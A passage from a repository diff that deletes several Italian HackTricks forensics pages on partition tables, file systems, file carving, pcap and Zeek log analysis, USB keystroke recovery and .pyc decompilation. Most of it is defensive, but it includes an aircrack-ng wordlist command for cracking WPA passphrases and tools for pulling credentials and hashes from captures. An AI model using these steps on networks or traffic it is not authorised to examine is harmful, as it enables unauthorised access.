| 88 (0x58) | 4 byte | CRC32 dell'array delle voci di partizione in little endian |
| 92 (0x5C) | \* | Riservato; deve essere zero per il resto del blocco (420 byte per una dimensione del settore di 512 byte; ma può essere di più con dimensioni del settore maggiori) |
**Voci di partizione (LBA 2–33)**
| Formato della voce di partizione GUID | | |
| ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
| Offset | Lunghezza | Contenuti |
| 0 (0x00) | 16 byte | [Tipo di GUID della partizione](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian misto) |
| 16 (0x10) | 16 byte | GUID univoco della partizione (endian misto) |
| 32 (0x20) | 8 byte | Primo LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 byte | Ultimo LBA (inclusivo, di solito dispari) |
| 48 (0x30) | 8 byte | Flag di attributo (ad es. il bit 60 indica di sola lettura) |
| 56 (0x38) | 72 byte | Nome della partizione (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unità di codice) |
**Tipi di Partizioni**
![](<../../../images/image (492).png>)
Altri tipi di partizioni in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
### Ispezione
Dopo aver montato l'immagine forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puoi ispezionare il primo settore utilizzando lo strumento Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Nell'immagine seguente è stato rilevato un **MBR** sul **settore 0** e interpretato:
![](<../../../images/image (494).png>)
Se fosse stata una **tabella GPT invece di un MBR**, dovrebbe apparire la firma _EFI PART_ nel **settore 1** (che nell'immagine precedente è vuoto).
## File-Systems
### Elenco dei file system di Windows
- **FAT12/16**: MSDOS, WIN95/98/NT/200
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
- **ExFAT**: 2008/2012/2016/VISTA/7/8/10
- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
- **ReFS**: 2012/2016
### FAT
Il file system **FAT (File Allocation Table)** è progettato attorno al suo componente principale, la tabella di allocazione dei file, posizionata all'inizio del volume. Questo sistema protegge i dati mantenendo **due copie** della tabella, garantendo l'integrità dei dati anche se una è corrotta. La tabella, insieme alla cartella radice, deve trovarsi in una **posizione fissa**, cruciale per il processo di avvio del sistema.
L'unità di archiviazione di base del file system è un **cluster, di solito 512B**, composto da più settori. FAT si è evoluto attraverso versioni:
- **FAT12**, che supporta indirizzi di cluster a 12 bit e gestisce fino a 4078 cluster (4084 con UNIX).
- **FAT16**, che migliora a indirizzi a 16 bit, consentendo così di ospitare fino a 65.517 cluster.
- **FAT32**, che avanza ulteriormente con indirizzi a 32 bit, consentendo un impressionante 268.435.456 cluster per volume.
Una limitazione significativa in tutte le versioni di FAT è la **dimensione massima del file di 4GB**, imposta dal campo a 32 bit utilizzato per la memorizzazione della dimensione del file.
I componenti chiave della directory radice, in particolare per FAT12 e FAT16, includono:
- **Nome del File/Cartella** (fino a 8 caratteri)
- **Attributi**
- **Date di Creazione, Modifica e Ultimo Accesso**
- **Indirizzo della Tabella FAT** (che indica il cluster iniziale del file)
- **Dimensione del File**
### EXT
**Ext2** è il file system più comune per le partizioni **non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e sono utilizzati solitamente per le **altre partizioni**.
## **Metadata**
Alcuni file contengono metadati. Queste informazioni riguardano il contenuto del file che a volte potrebbe essere interessante per un analista poiché, a seconda del tipo di file, potrebbe contenere informazioni come:
- Titolo
- Versione di MS Office utilizzata
- Autore
- Date di creazione e ultima modifica
- Modello della fotocamera
- Coordinate GPS
- Informazioni sull'immagine
Puoi utilizzare strumenti come [**exiftool**](https://exiftool.org) e [**Metadiver**](https://www.easymetadata.com/metadiver-2/) per ottenere i metadati di un file.
## **Recupero di File Cancellati**
### File Cancellati Registrati
Come visto in precedenza, ci sono diversi luoghi in cui il file è ancora salvato dopo essere stato "cancellato". Questo perché di solito la cancellazione di un file da un file system segna semplicemente il file come cancellato, ma i dati non vengono toccati. Quindi, è possibile ispezionare i registri dei file (come l'MFT) e trovare i file cancellati.
Inoltre, il sistema operativo di solito salva molte informazioni sui cambiamenti del file system e sui backup, quindi è possibile provare a utilizzarli per recuperare il file o quante più informazioni possibili.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### **File Carving**
**File carving** è una tecnica che cerca di **trovare file nel bulk di dati**. Ci sono 3 modi principali in cui strumenti come questo funzionano: **Basato su intestazioni e footer dei tipi di file**, basato su **strutture** dei tipi di file e basato sul **contenuto** stesso.
Nota che questa tecnica **non funziona per recuperare file frammentati**. Se un file **non è memorizzato in settori contigui**, allora questa tecnica non sarà in grado di trovarlo o almeno parte di esso.
Ci sono diversi strumenti che puoi utilizzare per il file carving indicando i tipi di file che desideri cercare.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Data Stream **C**arving
Data Stream Carving è simile al File Carving ma **invece di cercare file completi, cerca frammenti interessanti** di informazioni.\
Ad esempio, invece di cercare un file completo contenente URL registrati, questa tecnica cercherà URL.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Cancellazione Sicura
Ovviamente, ci sono modi per **cancellare "in modo sicuro" file e parte dei registri su di essi**. Ad esempio, è possibile **sovrascrivere il contenuto** di un file con dati spazzatura più volte, e poi **rimuovere** i **registri** dal **$MFT** e **$LOGFILE** riguardanti il file, e **rimuovere le Copie Shadow del Volume**.\
Potresti notare che anche eseguendo quell'azione potrebbero esserci **altre parti in cui l'esistenza del file è ancora registrata**, e questo è vero e parte del lavoro del professionista forense è trovarle.
## Riferimenti
- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
- **iHackLabs Certified Digital Forensics Windows**
{{#include ../../../banners/hacktricks-training.md}}

87
src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
View File

@ -1,87 +0,0 @@
# File/Data Carving & Recovery Tools
{{#include ../../../banners/hacktricks-training.md}}
## Carving & Recovery tools
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Lo strumento più comune utilizzato in forense per estrarre file da immagini è [**Autopsy**](https://www.autopsy.com/download/). Scaricalo, installalo e fallo elaborare il file per trovare file "nascosti". Nota che Autopsy è progettato per supportare immagini di disco e altri tipi di immagini, ma non file semplici.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** è uno strumento per analizzare file binari per trovare contenuti incorporati. È installabile tramite `apt` e il suo sorgente è su [GitHub](https://github.com/ReFirmLabs/binwalk).
**Useful commands**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se desideri cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati per impostazione predefinita.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
### **Scalpel**
**Scalpel** è un altro strumento che può essere utilizzato per trovare ed estrarre **file incorporati in un file**. In questo caso, dovrai decommentare dal file di configurazione (_/etc/scalpel/scalpel.conf_) i tipi di file che desideri estrarre.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
Questo strumento è incluso in kali ma puoi trovarlo qui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo interno, **informazioni di rete (URL, domini, IP, MAC, email)** e altri **file**. Devi solo fare:
```
bulk_extractor memory.img -o out_folder
```
Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **Pcaps analysis**](../pcap-inspection/index.html)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**).
### PhotoRec
Puoi trovarlo in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Viene fornito con versioni GUI e CLI. Puoi selezionare i **tipi di file** che vuoi che PhotoRec cerchi.
![](<../../../images/image (524).png>)
### binvis
Controlla il [codice](https://code.google.com/archive/p/binvis/) e la [pagina web dello strumento](https://binvis.io/#/).
#### Caratteristiche di BinVis
- Visualizzatore di **struttura** visivo e attivo
- Plots multipli per diversi punti di interesse
- Focalizzazione su porzioni di un campione
- **Visualizzazione di stringhe e risorse**, in eseguibili PE o ELF, ad esempio
- Ottenere **pattern** per la crittoanalisi su file
- **Identificare** algoritmi di packer o encoder
- **Identificare** la steganografia tramite pattern
- **Differenziazione** binaria visiva
BinVis è un ottimo **punto di partenza per familiarizzare con un obiettivo sconosciuto** in uno scenario di black-boxing.
## Strumenti specifici per il Data Carving
### FindAES
Cerca chiavi AES cercando i loro programmi di chiave. In grado di trovare chiavi da 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker.
Scarica [qui](https://sourceforge.net/projects/findaes/).
## Strumenti complementari
Puoi usare [**viu** ](https://github.com/atanunq/viu) per vedere immagini dal terminale.\
Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo.
{{#include ../../../banners/hacktricks-training.md}}

64
src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
View File

@ -1,64 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# Strumenti di Carving
## Autopsy
Lo strumento più comune utilizzato nella forense per estrarre file dalle immagini è [**Autopsy**](https://www.autopsy.com/download/). Scaricalo, installalo e fallo elaborare il file per trovare file "nascosti". Nota che Autopsy è progettato per supportare immagini di disco e altri tipi di immagini, ma non file semplici.
## Binwalk <a id="binwalk"></a>
**Binwalk** è uno strumento per cercare file binari come immagini e file audio per file e dati incorporati. Può essere installato con `apt`, tuttavia il [sorgente](https://github.com/ReFirmLabs/binwalk) può essere trovato su github.
**Comandi utili**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se desideri cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati di default.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
## **Scalpel**
**Scalpel** è un altro strumento che può essere utilizzato per trovare ed estrarre **file incorporati in un file**. In questo caso, dovrai decommentare dal file di configurazione \(_/etc/scalpel/scalpel.conf_\) i tipi di file che desideri estrarre.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
## Bulk Extractor
Questo strumento è incluso in kali ma puoi trovarlo qui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo interno, **informazioni di rete (URL, domini, IP, MAC, email)** e altri **file**. Devi solo fare:
```text
bulk_extractor memory.img -o out_folder
```
Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto \(password?\), **analizza** i **pacchetti** \(leggi[ **analisi Pcaps**](../pcap-inspection/index.html)\), cerca **domini strani** \(domini relativi a **malware** o **inesistenti**\).
## PhotoRec
Puoi trovarlo in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
È disponibile in versione GUI e CLI. Puoi selezionare i **tipi di file** che vuoi che PhotoRec cerchi.
![](../../../images/image%20%28524%29.png)
# Strumenti di Data Carving Specifici
## FindAES
Cerca le chiavi AES cercando i loro programmi di chiave. In grado di trovare chiavi a 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker.
Scarica [qui](https://sourceforge.net/projects/findaes/).
# Strumenti Complementari
Puoi usare [**viu** ](https://github.com/atanunq/viu) per vedere immagini dal terminale. Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo.
{{#include ../../../banners/hacktricks-training.md}}

212
src/forensics/basic-forensic-methodology/pcap-inspection/README.md
View File

@ -1,212 +0,0 @@
# Pcap Inspection
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> Una nota su **PCAP** vs **PCAPNG**: ci sono due versioni del formato di file PCAP; **PCAPNG è più recente e non è supportato da tutti gli strumenti**. Potresti dover convertire un file da PCAPNG a PCAP utilizzando Wireshark o un altro strumento compatibile, per poter lavorare con esso in alcuni altri strumenti.
## Strumenti online per pcaps
- Se l'intestazione del tuo pcap è **rotta** dovresti provare a **ripararla** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- Estrai **informazioni** e cerca **malware** all'interno di un pcap in [**PacketTotal**](https://packettotal.com)
- Cerca **attività malevole** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
## Estrai Informazioni
I seguenti strumenti sono utili per estrarre statistiche, file, ecc.
### Wireshark
> [!NOTE]
> **Se intendi analizzare un PCAP devi sostanzialmente sapere come usare Wireshark**
Puoi trovare alcuni trucchi di Wireshark in:
{{#ref}}
wireshark-tricks.md
{{#endref}}
### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ può **analizzare** un **pcap** ed estrarre informazioni da esso. Ad esempio, da un file pcap Xplico estrae ogni email (protocollo POP, IMAP e SMTP), tutti i contenuti HTTP, ogni chiamata VoIP (SIP), FTP, TFTP, e così via.
**Installa**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
sudo apt-get update
sudo apt-get install xplico
```
**Esegui**
```
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
Accesso a _**127.0.0.1:9876**_ con credenziali _**xplico:xplico**_
Poi crea un **nuovo caso**, crea una **nuova sessione** all'interno del caso e **carica il file pcap**.
### NetworkMiner
Come Xplico, è uno strumento per **analizzare ed estrarre oggetti dai pcap**. Ha un'edizione gratuita che puoi **scaricare** [**qui**](https://www.netresec.com/?page=NetworkMiner). Funziona con **Windows**.\
Questo strumento è anche utile per ottenere **altre informazioni analizzate** dai pacchetti per poter sapere cosa stava succedendo in modo **più veloce**.
### NetWitness Investigator
Puoi scaricare [**NetWitness Investigator da qui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funziona in Windows)**.\
Questo è un altro strumento utile che **analizza i pacchetti** e ordina le informazioni in un modo utile per **sapere cosa sta succedendo all'interno**.
### [BruteShark](https://github.com/odedshimon/BruteShark)
- Estrazione e codifica di nomi utente e password (HTTP, FTP, Telnet, IMAP, SMTP...)
- Estrazione degli hash di autenticazione e cracking utilizzando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
- Creazione di un diagramma di rete visivo (Nodi di rete e utenti)
- Estrazione delle query DNS
- Ricostruzione di tutte le sessioni TCP e UDP
- File Carving
### Capinfos
```
capinfos capture.pcap
```
### Ngrep
Se stai **cercando** **qualcosa** all'interno del pcap puoi usare **ngrep**. Ecco un esempio che utilizza i filtri principali:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
### Carving
Utilizzare tecniche di carving comuni può essere utile per estrarre file e informazioni dal pcap:
{{#ref}}
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
### Capturing credentials
Puoi utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live.
## Check Exploits/Malware
### Suricata
**Install and setup**
```
apt-get install suricata
apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
```
**Controlla pcap**
```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
```
### YaraPcap
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) è uno strumento che
- Legge un file PCAP ed estrae flussi Http.
- gzip decomprime eventuali flussi compressi
- Scansiona ogni file con yara
- Scrive un report.txt
- Facoltativamente salva i file corrispondenti in una directory
### Malware Analysis
Controlla se riesci a trovare qualche impronta di un malware noto:
{{#ref}}
../malware-analysis.md
{{#endref}}
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) è un analizzatore di traffico di rete passivo e open-source. Molti operatori utilizzano Zeek come Network Security Monitor (NSM) per supportare le indagini su attività sospette o malevole. Zeek supporta anche una vasta gamma di compiti di analisi del traffico oltre al dominio della sicurezza, inclusi la misurazione delle prestazioni e la risoluzione dei problemi.
Fondamentalmente, i log creati da `zeek` non sono **pcaps**. Pertanto, sarà necessario utilizzare **altri strumenti** per analizzare i log dove si trova l'**informazione** sui pcaps.
### Connections Info
```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
10.55.100.100 65.52.108.225 443 tcp 86222.4
10.55.100.107 111.221.29.113 443 tcp 86220.1
10.55.100.110 40.77.229.82 443 tcp 86160.1
#Get the number of connections summed up per each line
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
10.55.100.100 65.52.108.225 1 86222.4
10.55.100.107 111.221.29.113 1 86220.1
10.55.100.110 40.77.229.82 134 86160.1
#Check if any IP is connecting to 1.1.1.1
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
#Get number of connections per source IP, dest IP and dest Port
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
# RITA
#Something similar can be done with the tool rita
rita show-long-connections -H --limit 10 zeek_logs
+---------------+----------------+--------------------------+----------------+
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
+---------------+----------------+--------------------------+----------------+
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
#Get connections info from rita
rita show-beacons zeek_logs | head -n 10
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
```
### Informazioni DNS
```bash
#Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
#Get the number of times each domain was requested and get the top 10
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
#Get all the IPs
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
#Sort the most common DNS record request (should be A)
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
## Altri trucchi per l'analisi pcap
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}
​
{{#include ../../../banners/hacktricks-training.md}}

14
src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md
View File

@ -1,14 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Se hai un pcap di una connessione USB con molte interruzioni, probabilmente si tratta di una connessione USB Keyboard.
Un filtro wireshark come questo potrebbe essere utile: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
È importante sapere che i dati che iniziano con "02" sono stati premuti utilizzando il tasto shift.
Puoi leggere ulteriori informazioni e trovare alcuni script su come analizzare questo in:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

17
src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Se hai un pcap che contiene la comunicazione tramite USB di una tastiera come la seguente:
![](<../../../images/image (613).png>)
Puoi utilizzare lo strumento [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) per ottenere ciò che è stato scritto nella comunicazione:
```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```
Puoi leggere ulteriori informazioni e trovare alcuni script su come analizzare questo in:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

39
src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
View File

@ -1,39 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# Controlla i BSSID
Quando ricevi una cattura il cui traffico principale è Wifi utilizzando WireShark, puoi iniziare a investigare tutti gli SSID della cattura con _Wireless --> WLAN Traffic_:
![](<../../../images/image (424).png>)
![](<../../../images/image (425).png>)
## Brute Force
Una delle colonne di quella schermata indica se **è stata trovata qualche autenticazione all'interno del pcap**. Se è così, puoi provare a forzarlo con `aircrack-ng`:
```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
```
Ad esempio, recupererà la passphrase WPA che protegge un PSK (pre shared-key), necessaria per decrittografare il traffico in seguito.
# Dati nei Beacon / Canale Laterale
Se sospetti che **i dati vengano trasmessi all'interno dei beacon di una rete Wifi**, puoi controllare i beacon della rete utilizzando un filtro come il seguente: `wlan contains <NAMEofNETWORK>`, o `wlan.ssid == "NAMEofNETWORK"` cerca all'interno dei pacchetti filtrati stringhe sospette.
# Trova Indirizzi MAC Sconosciuti in una Rete Wifi
Il seguente link sarà utile per trovare le **macchine che inviano dati all'interno di una rete Wifi**:
- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
Se già conosci **gli indirizzi MAC puoi rimuoverli dall'output** aggiungendo controlli come questo: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Una volta che hai rilevato **indirizzi MAC sconosciuti** che comunicano all'interno della rete, puoi utilizzare **filtri** come il seguente: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` per filtrare il suo traffico. Nota che i filtri ftp/http/ssh/telnet sono utili se hai decrittografato il traffico.
# Decrittografa il Traffico
Modifica --> Preferenze --> Protocolli --> IEEE 802.11--> Modifica
![](<../../../images/image (426).png>)
{{#include ../../../banners/hacktricks-training.md}}

202
src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
View File

@ -1,202 +0,0 @@
# Decompilare i binari python compilati (exe, elf) - Recuperare da .pyc
{{#include ../../../banners/hacktricks-training.md}}
## Da binario compilato a .pyc
Da un binario compilato **ELF** puoi **ottenere il .pyc** con:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
[(0, 230, 311, 1, 'm', 'struct'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
(15535, 2514, 4421, 1, 's', 'binary_name'),
...
? X binary_name
to filename? /tmp/binary.pyc
```
In un **eseguibile binario python** compilato puoi **ottenere il .pyc** eseguendo:
```bash
python pyinstxtractor.py executable.exe
```
## Da .pyc a codice python
Per i dati **.pyc** ("compilato" python) dovresti iniziare a provare a **estrarre** il **codice** **python** **originale**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Assicurati** che il file binario abbia l'**estensione** "**.pyc**" (in caso contrario, uncompyle6 non funzionerà)
Durante l'esecuzione di **uncompyle6** potresti trovare i **seguenti errori**:
### Errore: Numero magico sconosciuto 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Per risolvere questo problema è necessario **aggiungere il numero magico corretto** all'inizio del file generato.
**I numeri magici variano con la versione di python**, per ottenere il numero magico di **python 3.8** è necessario **aprire un terminale python 3.8** ed eseguire:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
Il **numero magico** in questo caso per python3.8 è **`0x550d0d0a`**, quindi, per risolvere questo errore dovrai **aggiungere** all'**inizio** del **file .pyc** i seguenti byte: `0x0d550a0d000000000000000000000000`
**Una volta** che hai **aggiunto** quell'intestazione magica, l'**errore dovrebbe essere risolto.**
Ecco come apparirà un **intestazione magica .pyc python3.8** correttamente aggiunta:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### Errore: Decompilazione errori generici
**Altri errori** come: `class 'AssertionError'>; co_code dovrebbe essere uno dei tipi (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); è di tipo <class 'NoneType'>` possono apparire.
Questo probabilmente significa che **non hai aggiunto correttamente** il numero magico o che non hai **usato** il **numero magico corretto**, quindi assicurati di usare quello corretto (o prova uno nuovo).
Controlla la documentazione degli errori precedenti.
## Strumento Automatico
Il [**tool python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) funge da combinazione di diversi strumenti disponibili nella comunità progettati per assistere i ricercatori nello smontaggio e nella decompilazione di eseguibili scritti in Python, specificamente quelli creati con py2exe e pyinstaller. Include regole YARA per identificare se un eseguibile è basato su Python e conferma lo strumento di creazione.
### ImportError: Nome file: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' non esiste
Un problema comune riscontrato riguarda un file di bytecode Python incompleto risultante dal **processo di smontaggio con unpy2exe o pyinstxtractor**, che poi **non viene riconosciuto da uncompyle6 a causa di un numero di versione di bytecode Python mancante**. Per affrontare questo problema, è stata aggiunta un'opzione di prepend, che aggiunge il numero di versione di bytecode Python necessario, facilitando il processo di decompilazione.
Esempio del problema:
```python
# Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
...
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
```
```python
# Successful decompilation after using the prepend option
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
[*] On Python 2.7
[+] Magic bytes are already appended.
# Successfully decompiled file
[+] Successfully decompiled.
```
## Analizzare l'assembly di python
